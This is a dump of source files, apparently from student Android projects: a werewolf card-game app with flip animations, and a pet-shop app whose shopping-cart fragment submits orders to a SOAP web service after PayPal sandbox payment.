lineCounter.getHighlighter().addHighlight(startIndex2, endIndex2, painter); }catch (BadLocationException ex) { Logger.getLogger(GUICodeAnalyzer.class.getName()).log(Level.SEVERE, null, ex); } } }//GEN-LAST:event_resultListMouseClicked /** * @param args the command line arguments */ // public static void main(String args[]) { // // /* Set the Nimbus look and feel */ // //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) "> // /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. // * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html // */ // try { // for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { // if ("Nimbus".equals(info.getName())) { // javax.swing.UIManager.setLookAndFeel(info.getClassName()); // break; // } // } // } catch (ClassNotFoundException ex) { // java.util.logging.Logger.getLogger(GUICodeAnalyzer.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); // } catch (InstantiationException ex) { // java.util.logging.Logger.getLogger(GUICodeAnalyzer.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); // } catch (IllegalAccessException ex) { // java.util.logging.Logger.getLogger(GUICodeAnalyzer.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); // } catch (javax.swing.UnsupportedLookAndFeelException ex) { // java.util.logging.Logger.getLogger(GUICodeAnalyzer.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); // } // //</editor-fold> // //GUICodeAnalyzer gui = new GUICodeAnalyzer(); // //gui.show(); // //</editor-fold> // //</editor-fold> // //</editor-fold> // /* Create and display the form */ // // java.awt.EventQueue.invokeLater(new Runnable() { // public void run() { // GUICodeAnalyzer o = new GUICodeAnalyzer(); // o.show(); // //new GUICodeAnalyzer().setVisible(true); // } // }); // } // Variables declaration - do not modify//GEN-BEGIN:variables private javax.swing.JButton btnCodeAnalyzer; private javax.swing.JButton btnUploadFile; private static javax.swing.JTextArea codeArea; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JMenuBar jMenuBar1; private javax.swing.JPanel jPanel1; private javax.swing.JScrollPane jScrollPane1; private javax.swing.JScrollPane jScrollPane3; private javax.swing.JScrollPane jScrollPane4; private javax.swing.JTextArea lineCounter; private javax.swing.JList<String> resultList; // End of variables declaration//GEN-END:variables }
3fc08d59fc33e9edfaf3e506ac32a16de5008370
[ "Java" ]
2
Java
eabohorquezg/ProyectoLenguajes
586f8e2747f62344ec3004f74e4a118f25f741e3
1bdbd5d192ac5299d15ca121e823c619193d44db
refs/heads/master
<repo_name>917163738/WolfManMurder<file_sep>/WolfManMurder/src/com/link/game/wolfman/model/GameRole.java package com.link.game.wolfman.model; import com.link.game.wolfman.activity.R; import java.io.Serializable; public enum GameRole implements Serializable { XIANZHI("先知", R.drawable.bg_xianzhi), QIUBITE("丘比特", R.drawable.bg_qiubite), NVWU("女巫", R.drawable.bg_nvwu), WOLF("狼人", R.drawable.bg_wolf), MAN("村民", R.drawable.bg_man), HUNTER( "猎人", R.drawable.bg_hunter), PROTECT("守卫", R.drawable.bg_protect); private static final long serialVersionUID = 1L; private String name; private int imageId = R.drawable.bg_card; private boolean isKill = false; private boolean isShow = false; GameRole(String name, int imageId) { this.name = name; this.imageId = imageId; } public int getId() { return this.imageId; } public boolean isKill() { return isKill; } public void setKill(boolean isKill) { this.isKill = isKill; } public boolean isShow() { return isShow; } public void setShow(boolean isShow) { this.isShow = isShow; } @Override public String toString() { return String.valueOf(this.name); } } <file_sep>/WolfManMurder/src/com/link/game/wolfman/activity/MainActivity.java package com.link.game.wolfman.activity; import android.app.Activity; import android.os.Bundle; import android.util.Log; import android.view.Display; import android.view.View; import android.view.View.OnClickListener; import android.view.Window; import android.view.animation.AccelerateDecelerateInterpolator; import android.view.animation.Animation; import android.view.animation.Animation.AnimationListener; import android.view.animation.AnimationSet; import android.view.animation.LinearInterpolator; import android.view.animation.ScaleAnimation; import android.view.animation.TranslateAnimation; import android.widget.FrameLayout; import android.widget.ImageView; import com.link.game.wolfman.activity.R; import com.link.game.wolfman.anim.MyAnim; public class MainActivity extends Activity implements OnClickListener { private static final long DURATION_TIME = 3000; private static final boolean IS_FILL_AFTER = false; private FrameLayout container; private ImageView ivMain; private ImageView ivMain1; //标记控件的宽高 private float width; private float height; private float translateX; private float translateY; //放大倍数 private float num; //获取标题栏和状态栏的高度 private int contentTop; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); setupView(); addListener(); } private void setupView() { container = (FrameLayout) findViewById(R.id.container); ivMain = (ImageView) findViewById(R.id.iv_main); ivMain1 = (ImageView) findViewById(R.id.iv_main1); //获取屏幕的宽度和高度 Display display = getWindowManager().getDefaultDisplay(); width = display.getWidth(); Log.i("info", "获取的屏幕的宽度是:" + width); height = display.getHeight(); Log.i("info", "获取的屏幕的高度是:" + height); } private void addListener() { ivMain.setOnClickListener(this); ivMain1.setOnClickListener(this); } @Override public void onClick(View v) { switch (v.getId()) { case R.id.iv_main: /* * 计算图片应该缩放的倍数,考虑到横竖屏和标题栏状态栏 * 应该是用宽和去掉标题栏、状态栏的高进行比较,找到较小值,并且除以图片的宽度或者高度就能够知道图片应该缩放的倍数 */ num = 3; Log.i("info", "应该扩大的倍数是:" + num); //获取能显示动画的布局的中点坐标 float screenX = width / 2; float screenY = height / 2 + contentTop / 2; Log.i("info", "能显示内容的布局的中点横坐标为:" + screenX + ",纵坐标为:" + screenY); //获取图片的宽高的一半 float centerY = container.getHeight() / 2; float centerX = container.getWidth() / 2; //float centerY = container.getHeight(); Log.i("info", "图片的宽度的一半:" + centerX + ",图片的高度的一半:" + centerY); //获取图片的中心点坐标 int[] location = new int[2]; container.getLocationOnScreen(location); float x = location[0] + centerX; float y = location[1] + centerY; Log.i("info", "图片的横坐标是:" + location[0] + ",图片的纵坐标是:" + location[1]); Log.i("info", "图片的中点横坐标是" + x + "纵坐标是" + y); //获取到图片要偏移的坐标 translateX = screenX - x; Log.i("info", "要偏移的横坐标是" + translateX); translateY = screenY - y; Log.i("info", "要偏移的纵坐标是" + translateY); //为ivMain设置自定义动画 MyAnim myAnim = new MyAnim(centerX, centerY, 0, 0, 0, 0, 90, false, IS_FILL_AFTER, 2, DURATION_TIME, new AccelerateDecelerateInterpolator()); //创建伸缩动画 ScaleAnimation scaleAnimation = new ScaleAnimation(1.0f, num / 2, 1.0f, num / 2, Animation.RELATIVE_TO_SELF, 0.5f, Animation.RELATIVE_TO_SELF, 0.5f); scaleAnimation.setDuration(DURATION_TIME); scaleAnimation.setFillAfter(IS_FILL_AFTER); TranslateAnimation translateAnimation = new TranslateAnimation(0, translateX / 2, 0, translateY / 2); translateAnimation.setDuration(DURATION_TIME); translateAnimation.setFillAfter(IS_FILL_AFTER); //创建动画集 AnimationSet animSet = new AnimationSet(true); animSet.addAnimation(scaleAnimation); animSet.addAnimation(translateAnimation); animSet.addAnimation(myAnim); animSet.setFillAfter(IS_FILL_AFTER); /** * 当第一幅图片旋转完成之后,让第一幅图片消失,并且显示第二幅图片 */ animSet.setAnimationListener(new AnimationListener() { @Override public void onAnimationStart(Animation animation) { } @Override public void onAnimationRepeat(Animation animation) { } @Override public void onAnimationEnd(Animation animation) { container.post(new SwapViews()); Log.i("info", "animation的Listener方法被调用了"); } }); container.startAnimation(animSet); break; } } private final class SwapViews implements Runnable { @Override public void run() { if (ivMain.getVisibility() == View.VISIBLE) { Log.i("info", "设置ImageView的显示"); ivMain.setVisibility(View.GONE); ivMain1.setVisibility(View.VISIBLE); //获取能显示动画的布局的中点坐标 float screenX = width / 2; float screenY = height / 2 + contentTop / 2; Log.i("info", "能显示内容的布局的中点横坐标为:" + screenX + ",纵坐标为:" + screenY); //获取图片的宽高 //float centerX = container.getWidth()/2; float centerY = container.getHeight() / 2; float centerX = container.getWidth() / 2; //float centerY = container.getHeight(); Log.i("info", "图片的宽度:" + centerX + ",图片的高度:" + centerY); //获取图片的中心点坐标 int[] location = new int[2]; container.getLocationOnScreen(location); float x = location[0] + centerX; float y = location[1] + centerY; Log.i("info", "图片的中点横坐标是" + x + "纵坐标是" + y); //获取到图片要偏移的坐标 translateX = screenX - x; Log.i("info", "要偏移的横坐标是" + translateX); translateY = screenY - y; Log.i("info", "要偏移的纵坐标是" + translateY); MyAnim myAnim = new MyAnim(centerX, centerY, 0, 0, 0, 90, 0, true, IS_FILL_AFTER, 2, DURATION_TIME, new LinearInterpolator()); //创建伸缩动画 ScaleAnimation scaleAnimation = new ScaleAnimation(num / 2, num, num / 2, num, Animation.RELATIVE_TO_SELF, 0.5f, Animation.RELATIVE_TO_SELF, 0.5f); scaleAnimation.setDuration(DURATION_TIME); TranslateAnimation translateAnimation = new TranslateAnimation(translateX / 2, translateX, translateY / 2, translateY); translateAnimation.setDuration(DURATION_TIME); translateAnimation.setFillAfter(IS_FILL_AFTER); //创建动画集 AnimationSet animSet = new AnimationSet(true); animSet.addAnimation(scaleAnimation); animSet.addAnimation(translateAnimation); animSet.addAnimation(myAnim); animSet.setFillAfter(IS_FILL_AFTER); animSet.setAnimationListener(new AnimationListener() { @Override public void onAnimationStart(Animation animation) { // TODO Auto-generated method stub } @Override public void onAnimationRepeat(Animation animation) { // TODO Auto-generated method stub } @Override public void onAnimationEnd(Animation animation) { } }); container.startAnimation(animSet); } } } @Override public void onWindowFocusChanged(boolean hasFocus) { // TODO Auto-generated method stub super.onWindowFocusChanged(hasFocus); View v = getWindow().findViewById(Window.ID_ANDROID_CONTENT); contentTop = v.getTop(); Log.i("info", "状态栏和标题栏的高度为:" + contentTop); } } <file_sep>/WolfManMurder/src/com/link/game/wolfman/anim/MyAnim.java package com.link.game.wolfman.anim; import android.graphics.Camera; import android.graphics.Matrix; import android.view.animation.Animation; import android.view.animation.Interpolator; import android.view.animation.Transformation; public class MyAnim extends Animation { private final float centerX, centerY; private final float translateX, translateY, translateZ; private final float fromDegree, toDegree; private final boolean isReverse, isFillAfter; private final long durationTime; private final Interpolator interpolator; private final int rotate; private int direction;//direction为-1的时候为顺时针 Camera camera = new Camera(); /** * @param centerX * @param centerY * @param translateX X轴上应该平移的距离 * @param translateY Y轴上应该平移的距离 * @param translateZ Z轴上应该平移的距离 * @param fromDegree 翻转开始时的角度 * @param toDegree 翻转结束时的角度 * @param isReverse 是否反向翻转(顺时针为正向) * @param isFillAfter 动画结束后是否停留在结束时的位置 * @param rotate 围绕着哪个轴进行翻转(1,X轴;2,Y轴;3,Z轴) * @param durationTime 动画持续的时间 * @param interpolator 动画效果 */ public MyAnim(float centerX, float centerY, float translateX, float translateY, float translateZ, float fromDegree, float toDegree, boolean isReverse, boolean isFillAfter, int rotate, long durationTime, Interpolator interpolator) { super(); this.centerX = centerX; this.centerY = centerY; this.translateX = translateX; this.translateY = translateY; this.translateZ = translateZ; this.fromDegree = fromDegree; this.toDegree = toDegree; this.isReverse = isReverse; this.isFillAfter = isFillAfter; this.rotate = rotate; this.durationTime = durationTime; this.interpolator = interpolator; } @Override /** * 获取当前view的宽度和高度,并且计算其宽高的中心位置 * 设置动画的间隔 */ public void initialize(int width, int height, int parentWidth, int parentHeight) { super.initialize(width, height, parentWidth, parentHeight); setDuration(durationTime); setFillAfter(isFillAfter); //停留在移动后的位置 setInterpolator(interpolator); //运行速度 } @Override /** * interpolatedTime 代表了动画的时间进行比,不管动画实际的持续时间如何,当动画播放时,该参数总是自动从0变化到1. * t 该参数代表了不见动画在不同时刻对图形或组件的变形程度。 */ protected void applyTransformation(float interpolatedTime, Transformation t) { final Matrix matrix = t.getMatrix(); camera.save(); if (isReverse) { camera.translate(translateX * interpolatedTime, 0 - (translateY * interpolatedTime), translateZ * interpolatedTime); direction = 1; } else { camera.translate(translateX * interpolatedTime, 0 - (translateY * interpolatedTime), translateZ * (1.0f - interpolatedTime)); direction = -1; } switch (rotate) { case 1: camera.rotateX(fromDegree + (toDegree - fromDegree) * interpolatedTime * direction); //中心是绕X轴旋转 break; case 2: camera.rotateY(fromDegree + (toDegree - fromDegree) * interpolatedTime * direction); //中心是绕Y轴旋转 break; case 3: camera.rotateZ(fromDegree + (toDegree - fromDegree) * interpolatedTime * direction); //中心是绕Z轴旋转 break; } camera.getMatrix(matrix);//把我们的摄像头加在变换矩阵上 matrix.preTranslate(-centerX, -centerY); matrix.postTranslate(centerX, centerY); camera.restore(); } } <file_sep>/README.md # WolfManMurder A game of BoardGame This App just can help you select role of this game now. I will add some images and infos about game`s role. And I can add game`s operate activity. coming soon~ 狼人杀简易demo
5763e0fcad94a3a3892d6704fe29352b9b0fea78
[ "Markdown", "Java" ]
4
Java
917163738/WolfManMurder
ee8902fbd5a61a76b75b6c9dce35066c2313cbcb
c5b36f1545261d8b3174337c631ee4a47bfc2ada
refs/heads/main
<file_sep>//Let // let a = 'Variable a' // let b = 'Variable b' // // { // a = 'New Variable A' // let b = 'Local Variable B' // console.log ('Scope A', a) // console.log('Scope B', b) // // console.log('Scope C', c) // // let c = 'Something' // } // console.log ('A:', a) // console.log('B:', b) //Const // const PORT = 8080 // const array = ['JavaScript', 'is', 'Awesome'] // array.push('!') // array[0] = 'JS' // console.log(array) // // const obj = {} // obj.name = 'Vladilen' // obj.age = 26 // console.log(obj) // // obj.age = 21 // console.log(obj) // // delete obj.name // console.log(obj)
8945b0f2f97c7e31a869f878b4d79f6a90eeb013
[ "JavaScript" ]
1
JavaScript
Exeldinho/JavaScript-practice
5db8a748b6cebe7372f45246fd4d29757741483d
0beec5f43a6cb1036965bf723be5cbe90f69c45f
refs/heads/master
<file_sep>var mouseX = 0; var mouseY = 0; onmousemove = function(e){ mouseX = e.clientX; mouseY = e.clientY; } var mouseDown = 0; document.body.onmousedown = function() { mouseDown = 1; } document.body.onmouseup = function() { mouseDown = 0; } window.onresize = fixHeight; //KeyPressed var map = {}; // You could also use an array onkeydown = onkeyup = function(e){ e = e || event; // to deal with IE map[e.keyCode] = e.type == 'keydown'; /* insert conditional here */ } //Callable functions function randInt(min,max){ var rnd = Math.floor((Math.random() * (max-(min-1))) + min); return rnd; } function fixHeight() { var a = document.getElementById("gamescreen"); a.width = window.innerWidth; a.height = window.innerHeight; var b = a.getContext("2d"); rect(0,0,a.width,a.height,"rgb(0,0,0)","filled"); } function randPerc(){ return Math.random(); } function rect(x,y,width,height,color,filled) { if(color.substring(0,1) != "#" && color.substring(0,3) != "rgb") { console.log("Game Warning: Color "+color+" is not rgb or hex") } var a = document.getElementById("gamescreen"); var b = a.getContext("2d"); if(filled === "filled"){ b.fillStyle=color; b.fillRect(x,y,width,height); }else if(filled.substring(0,6) === "nofill" && filled.length > 7){ b.beginPath(); b.lineWidth=filled.substring(7,filled.length); b.strokeStyle=color; b.rect(x,y,width,height); b.stroke(); }else{ console.log("Game Err: Rectange fill statement incorrect"); } } function pixel(x,y,color) { if(color.substring(0,1) != "#" || color.substring(0,3) != "rgb") { console.log("Game Warning: Color '"+color+"' is not rgb or hex") } var a = document.getElementById("gamescreen"); var b = a.getContext("2d"); b.fillStyle=color; b.fillRect(x,y,1,1); } function clearScreen() { var a = document.getElementById("gamescreen"); var b = a.getContext("2d"); b.fillStyle = "black"; b.fillRect(0,0,window.innerWidth,window.innerHeight); } function buttonPressed(x,y,width,height) { var boolean = false; if(mouseDown){ var x1 = mouseX; var y1 = mouseY; if(x1 > x && x1 < x+width && y1 > y && y1 < y+height) { boolean = true; }else{ boolean = false; } }else{ boolean = false; } return boolean; } function tempSave(name,string) { var check = document.getElementById(name); if(check == null){ var checky = document.createElement("div"); checky.id = name; checky.style = "display:none;"; checky.innerHTML = (string+""); document.body.appendChild(checky); }else{ check.innerHTML = string; } } function longSave(name,string) { var d = new Date(); d.setTime(d.getTime() + ((30)*24*60*60*1000)); var expires = "expires="+ d.toUTCString(); document.cookie = name + "=" + string + ";" + expires + ";path=/"; } function getSave(namen) { var non = null; var name = namen + "="; var decodedCookie = decodeURIComponent(document.cookie); var ca = decodedCookie.split(';'); for(var i = 0; i <ca.length; i++) { var c = ca[i]; while (c.charAt(0) == ' ') { c = c.substring(1); } if (c.indexOf(name) == 0) { var non = c.substring(name.length, c.length); } } var yen = document.getElementById(namen); if(yen != null){ return yen.innerHTML; }else if(non != null){ return non; }else{ console.log("Game Err: Input Name '" + namen + "' is missing or inncorect"); return ""; } } function loadImage(src,x,y,width,height) { var a = document.getElementById("gamescreen"); var b = a.getContext("2d"); var img = new Image(); img.onload = function() { b.drawImage(img, x, y, width, height); }; img.src = src; } function loadMap(src,x,y,scale) { if(scale == null){ scale = 1; } var a = document.getElementById("gamescreen"); var b = a.getContext("2d"); var img = new Image(); img.onload = function() { var w = img.width/2; var h = img.height/2; b.drawImage(img, x-w, y-h,img.width*scale,img.height*scale); }; img.src = src; } function keyDown(key) { if(key == " "){ var key = 32; } if(isNaN(key)){ var kay = key.charCodeAt(0); }else{ var kay = key; } if(map[kay]){ return true; } return false; } //Make Screen var loaded = false; var screen = document.createElement("canvas"); screen.width = window.innerWidth; screen.height = window.innerHeight; screen.id = "gamescreen"; screen.style = "border: none; position:absolute; top:0; left:0;"; document.body.appendChild(screen); var screenctx = screen.getContext("2d"); screenctx.fillStyle = "black"; screenctx.fillRect(0,0,screen.width,screen.height); if (typeof setup == 'function') { setup(); }else{ console.log("Game Err: void setup() was not found"); } if (typeof run == 'function') { setInterval(function(){ run(); },10); }else{ console.log("Game Err: void run() was not found"); }
205889cba5f9c0877681109994ffb7b0523d6e8f
[ "JavaScript" ]
1
JavaScript
athdot/gameMaker
6b1bb8a70cd1042348de19788b2615981ced515b
b217858a8a47b847a879ffbfdbb8bebcbc9e0144
refs/heads/master
<file_sep>package com.example.administrador.petshopcarrito; /** * Created by Administrador on 22/04/2018. */ public class Pedido { private String FechaPedido; private int IdPedido; private double MontoPedido; public Pedido(String fechaPedido, int idPedido, Double montoPedido, int idUsuario) { FechaPedido = fechaPedido; IdPedido = idPedido; MontoPedido = montoPedido; IdUsuario = idUsuario; } private int IdUsuario; public Pedido(String fechaPedido, int idPedido, Double montoPedido) { FechaPedido = fechaPedido; IdPedido = idPedido; MontoPedido = montoPedido; } public int getIdUsuario() { return IdUsuario; } public void setIdUsuario(int idUsuario) { IdUsuario = idUsuario; } @Override public String toString() { return "Pedido{" + "FechaPedido='" + FechaPedido + '\'' + ", IdPedido=" + IdPedido + ", MontoPedido=" + MontoPedido + ", IdUsuario=" + IdUsuario + '}'; } public String getFechaPedido() { return FechaPedido; } public void setFechaPedido(String fechaPedido) { FechaPedido = fechaPedido; } public int getIdPedido() { return IdPedido; } public void setIdPedido(int idPedido) { IdPedido = idPedido; } public Double getMontoPedido() { return MontoPedido; } public void setMontoPedido(Double montoPedido) { MontoPedido = montoPedido; } } <file_sep>package com.example.administrador.petshopcarrito; import android.app.Activity; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.graphics.Color; import android.os.Bundle; import android.support.v4.app.Fragment; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Button; import android.widget.LinearLayout; import android.widget.TextView; import android.widget.Toast; import com.google.gson.Gson; import com.google.gson.reflect.TypeToken; import com.paypal.android.sdk.payments.PayPalConfiguration; import com.paypal.android.sdk.payments.PayPalPayment; import com.paypal.android.sdk.payments.PayPalService; import com.paypal.android.sdk.payments.PaymentActivity; import com.paypal.android.sdk.payments.PaymentConfirmation; import org.ksoap2.SoapEnvelope; import org.ksoap2.SoapFault; import org.ksoap2.serialization.SoapObject; import org.ksoap2.serialization.SoapSerializationEnvelope; import org.ksoap2.transport.HttpTransportSE; import java.lang.reflect.Type; import java.math.BigDecimal; import java.util.ArrayList; public class CestaProducto extends Fragment { ArrayList<elemento> cesta = new ArrayList<>(); SharedPreferences carrito; Gson gson = new Gson(); Button btnPagar; double total=0; LinearLayout layout, contenedor; PayPalConfiguration m_configuracion; String m_PayplaClientId = "<KEY>"; Intent m_service; int m_paypalRequestCode=999; String DetalleIns; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); carrito= getActivity().getSharedPreferences("carrito", getActivity().MODE_PRIVATE); String guardado = carrito.getString("cesta",""); Type type= new TypeToken<ArrayList<elemento>>(){}.getType(); cesta = gson.fromJson(guardado,type); } public void onActivityResult(int requestCode, int resultCode, Intent data){ super.onActivityResult(requestCode,resultCode,data); if(requestCode==m_paypalRequestCode){ if(resultCode == Activity.RESULT_OK){ PaymentConfirmation confirmation=data.getParcelableExtra(PaymentActivity.EXTRA_RESULT_CONFIRMATION); if(confirmation!=null) { String state = confirmation.getProofOfPayment().getState(); if (state.equals("approved")) { //Toast.makeText( getActivity().getApplicationContext(), "Pago aprobado", Toast.LENGTH_SHORT).show(); DetalleIns = ""; for(int i=0; i< cesta.size();i++) { DetalleIns = DetalleIns + cesta.get(i).getCod().toString() + '|' + cesta.get(i).getCan() + ','; } Thread tr= new Thread(){ @Override public void run() { String NAMESPACE = "http://tempuri.org/"; String URl = "http://webseromar.somee.com/WebServicePetShop.asmx?WSDL"; String METHOD_NAME = "InsertarPedido"; String SOAP_ACTION = "http://tempuri.org/InsertarPedido"; Bundle datos = getActivity().getIntent().getExtras(); Integer recu_codigo = datos.getInt("variablecodigo"); SoapObject request = new SoapObject(NAMESPACE, METHOD_NAME); request.addProperty("CodUsuario",recu_codigo); request.addProperty("Monto", new BigDecimal(total).toString()); request.addProperty("Detalle",DetalleIns.toString()); SoapSerializationEnvelope envelop = new SoapSerializationEnvelope(SoapEnvelope.VER10); envelop.dotNet = true; envelop.setOutputSoapObject(request); HttpTransportSE trasporte = new HttpTransportSE(URl); try { trasporte.call(SOAP_ACTION,envelop); if ( envelop.bodyIn instanceof SoapFault) { String str= ((SoapFault) envelop.bodyIn).faultstring; Log.i("", str); } else { SoapObject soap =(SoapObject)envelop.bodyIn; Log.d("WS", String.valueOf(soap)); } getActivity().runOnUiThread(new Runnable() { @Override public void run() { Toast.makeText( getActivity(),"Pedido Registrado ok", Toast.LENGTH_LONG).show(); //limpiamos lista cesta.clear(); //grabamos la preferencia String jsonList = gson.toJson(cesta); carrito = getActivity().getSharedPreferences("carrito", getActivity().MODE_PRIVATE); SharedPreferences.Editor editor = carrito.edit(); editor.putString("cesta", jsonList); //comint es guardar datos y cerrar preferncias editor.commit(); cuerpocesta(); } }); } catch (Exception e) { String mensaje=""; mensaje = e.getMessage().toString(); } } }; tr.start(); } else Toast.makeText(getActivity(), "error en el pago", Toast.LENGTH_SHORT).show(); }else Toast.makeText(getActivity(), "Confirmacion Vacia", Toast.LENGTH_SHORT).show(); } } } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View v = inflater.inflate(R.layout.fragment_cesta_producto, container, false); layout = (LinearLayout)v.findViewById(R.id.llCesta); contenedor = new LinearLayout(getActivity()); layout.setOrientation(LinearLayout.VERTICAL); contenedor.setOrientation(LinearLayout.VERTICAL); contenedor.setLayoutParams(new LinearLayout.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT)); cuerpocesta(); m_configuracion =new PayPalConfiguration().environment(PayPalConfiguration.ENVIRONMENT_SANDBOX).clientId(m_PayplaClientId); Intent m_service = new Intent(getActivity(), PayPalService.class); m_service.putExtra(PayPalService.EXTRA_PAYPAL_CONFIGURATION,m_configuracion); getActivity().startService(m_service); btnPagar =(Button)v.findViewById(R.id.btnPagar); btnPagar.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { if (total >0) { PayPalPayment payment=new PayPalPayment(new BigDecimal(total),"USD","Carrito de Compras",PayPalPayment.PAYMENT_INTENT_SALE); Intent intent=new Intent(getActivity(),PaymentActivity.class); intent.putExtra(PayPalService.EXTRA_PAYPAL_CONFIGURATION,m_configuracion); intent.putExtra(PaymentActivity.EXTRA_PAYMENT,payment); startActivityForResult(intent,m_paypalRequestCode); } else { Toast.makeText(getActivity(),"No existe detalle para registrar", Toast.LENGTH_SHORT).show(); } } }); return v; } private void cuerpocesta() { //LinearLayout linearLayout = null; layout.removeAllViews(); contenedor.removeAllViews(); total=0; for(int j=0; j< cesta.size();j ++) { elemento e = cesta.get(j); LinearLayout contenSecundario = new LinearLayout(getActivity()); contenSecundario.setOrientation(LinearLayout.HORIZONTAL); TextView txtProd = new TextView(getActivity().getApplicationContext()); txtProd.setLayoutParams(new LinearLayout.LayoutParams(450 , ViewGroup.LayoutParams.WRAP_CONTENT)); txtProd.setText(e.getDescripcion()); txtProd.setTextColor(Color.parseColor("#000000")); txtProd.setId(j + 10); TextView txtPre = new TextView(getActivity().getApplicationContext()); txtPre.setLayoutParams(new LinearLayout.LayoutParams(200 , ViewGroup.LayoutParams.WRAP_CONTENT)); txtPre.setText(e.getPrecio() + "" ); txtPre.setTextColor(Color.parseColor("#000000")); txtPre.setId(j + 11); TextView txtCan = new TextView(getActivity().getApplicationContext()); txtCan.setLayoutParams(new LinearLayout.LayoutParams(200 , ViewGroup.LayoutParams.WRAP_CONTENT)); txtCan.setText(e.getCan() + "" ); txtCan.setTextColor(Color.parseColor("#000000")); txtCan.setId(j + 12); TextView txtMonto = new TextView(getActivity().getApplicationContext()); txtMonto.setLayoutParams(new LinearLayout.LayoutParams(150 , ViewGroup.LayoutParams.WRAP_CONTENT)); double montoCompra =e.getPrecio() * e.getCan(); txtMonto.setText(montoCompra + "" ); txtMonto.setTextColor(Color.parseColor("#000000")); txtMonto.setId(j + 13); final Button btnRestar = new Button(getActivity().getApplicationContext()); btnRestar.setText("-"); btnRestar.setLayoutParams(new LinearLayout.LayoutParams(120,ViewGroup.LayoutParams.WRAP_CONTENT)); final String cod = cesta.get(j).getCod(); btnRestar.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { for(int i=0; i< cesta.size();i++) { if(cesta.get(i).getCod().equalsIgnoreCase(cod)){ cesta.get(i).setCan(cesta.get(i).getCan() - 1); if(cesta.get(i).getCan()< i){ cesta.remove(i); } } } String jsonList = gson.toJson(cesta); carrito = getActivity().getSharedPreferences("carrito", Context.MODE_PRIVATE); SharedPreferences.Editor editor= carrito.edit(); editor.putString("cesta",jsonList); editor.commit(); cuerpocesta(); } }); contenSecundario.addView(txtProd); contenSecundario.addView(txtPre); contenSecundario.addView(txtCan); contenSecundario.addView(txtMonto); contenSecundario.addView(btnRestar); contenedor.addView(contenSecundario); //contenedor.addView(boton); total += montoCompra; } final TextView txtTextoTotal = new TextView(getActivity().getApplicationContext()); txtTextoTotal.setText("Total a pagar: "); txtTextoTotal.setTextColor(Color.parseColor("#000000")); txtTextoTotal.setLayoutParams(new LinearLayout.LayoutParams(620,ViewGroup.LayoutParams.WRAP_CONTENT)); txtTextoTotal.setTextAlignment(View.TEXT_ALIGNMENT_TEXT_END); final TextView txtTotal = new TextView(getActivity().getApplicationContext()); txtTotal.setText(total + ""); txtTotal.setLayoutParams(new LinearLayout.LayoutParams(200,ViewGroup.LayoutParams.WRAP_CONTENT)); txtTotal.setTextColor(Color.parseColor("#000000")); txtTotal.setTextAlignment(View.TEXT_ALIGNMENT_TEXT_END); LinearLayout contenSecundario2 = new LinearLayout(getActivity()); contenSecundario2.setOrientation(LinearLayout.HORIZONTAL); contenSecundario2.addView(txtTextoTotal); contenSecundario2.addView(txtTotal); contenedor.addView(contenSecundario2); layout.addView(contenedor); } } <file_sep>package com.example.administrador.petshopcarrito; import android.os.Bundle; import android.support.annotation.Nullable; import android.support.v4.app.Fragment; import android.support.v4.app.FragmentManager; import android.support.v4.app.FragmentTransaction; import android.support.v7.widget.LinearLayoutManager; import android.support.v7.widget.RecyclerView; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.TextView; import org.ksoap2.SoapEnvelope; import org.ksoap2.serialization.SoapObject; import org.ksoap2.serialization.SoapSerializationEnvelope; import org.ksoap2.transport.HttpTransportSE; import java.util.ArrayList; /** * Created by Administrador on 01/04/2018. */ public class ListadoProducto extends Fragment { @Nullable RecyclerView recycler ; RecyclerView.Adapter adap; ArrayList<elemento> listaCard; TextView txtprueba; @Override public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { View v = inflater.inflate(R.layout.fragment_listado, container ,false); super.onCreate(savedInstanceState); recycler =(RecyclerView)v.findViewById(R.id.recycler); recycler.setHasFixedSize(true); recycler.setLayoutManager(new LinearLayoutManager(getContext())); Thread tr= new Thread(){ @Override public void run() { String NAMESPACE = "http://tempuri.org/"; String URL= "http://webseromar.somee.com/WebServicePetShop.asmx?WSDL"; String METHOD_NAME = "listarProductos"; String SOAP_ACTION= "http://tempuri.org/listarProductos"; SoapObject request = new SoapObject(NAMESPACE, METHOD_NAME); SoapSerializationEnvelope envelop = new SoapSerializationEnvelope(SoapEnvelope.VER11); envelop.dotNet = true ; envelop.setOutputSoapObject(request); HttpTransportSE trasporte = new HttpTransportSE(URL); try{ trasporte.call(SOAP_ACTION,envelop); final SoapObject soap= (SoapObject)envelop.getResponse(); getActivity().runOnUiThread(new Runnable() { @Override public void run() { listarProductos(soap); } }); }catch (Exception e){ } } }; tr.start(); ((Adaptador)adap).setOnItemClickListener(new Adaptador.OnItemClickListener() { @Override public void onItemClick(View view, int position) { elemento item = listaCard.get(position); Fragment fragment = new DetalleProducto(); Bundle args = new Bundle(); args.putString("cod",item.getCod()); args.putString("des",item.getDescripcion()); args.putString("det",item.getDetalle()); args.putString("pre",item.getPrecio() + ""); args.putString("img",item.getImg()); fragment.setArguments(args); FragmentManager FM = getActivity().getSupportFragmentManager(); FragmentTransaction FT = FM.beginTransaction(); FT.replace(R.id.contenedor,fragment); FT.addToBackStack(null); FT.commit(); } }); recycler =(RecyclerView)v.findViewById(R.id.recycler); LinearLayoutManager ll = new LinearLayoutManager(getActivity()); 